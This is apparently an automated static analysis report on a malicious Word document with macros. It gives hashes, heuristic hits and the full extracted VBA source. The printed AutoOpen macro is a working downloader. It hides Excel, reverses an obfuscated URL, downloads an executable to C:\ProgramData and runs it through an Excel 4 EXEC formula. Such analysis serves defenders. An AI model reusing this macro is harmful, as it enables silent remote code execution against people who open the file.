Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d43886a59fecabeb…

MALICIOUS

Office (OOXML)

18.7 KB Created: 2021-02-17 01:41:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-02-23
MD5: 0967476f2e45aa98839dc68e7c7d3ed9 SHA-1: e6aabffc31cbd90dca278fc307edce3df3d6c424 SHA-256: d43886a59fecabebed37c838b1bda5f9167ae16f7d1ef3d964ffc87e0914bf93
130 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1437 bytes
SHA-256: a6f6534d3e14e9e74a5084f39f4da0772f0f998b5b2ba5e44615323744e536fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()

Dim ExcelSheet As Object
Dim strMacro As String

Set ExcelSheet = CreateObject("Excel.Application")
Set Workbook = ExcelSheet.workbooks.Add()
Set Worksheets = ExcelSheet.Worksheets

ExcelSheet.DisplayAlerts = False
ExcelSheet.Application.Visible = 0


Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4
On Error Resume Next

ExcelSheet.Range("A1").Name = "ok"

ExcelSheet.Range("A108").Value = StrReverse("exe.yttup/23w/tsetal/yttup/mahtatgs~/il.htrae.eht//:sptth")
URLDownloadToFile 0, ExcelSheet.Range("A108").Value, "C:\ProgramData\putty.exe", 0, 0

ExcelSheet.Range("A109") = "=WAIT(NOW()+""00:00:6"")"

ExcelSheet.Range("A111") = "=EXEC(""C:\ProgramData\putty.exe"")"

ExcelSheet.Sheets(1).Visible = 2

strMacro = "ok"

ExcelSheet.Run (strMacro)

ExcelSheet.Application.Quit

Set ExcelSheet = Nothing

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: e1a1d98145f2e244dbbf94d35cf3cb3b685e38d4b55d16882bf89171f47b72d3

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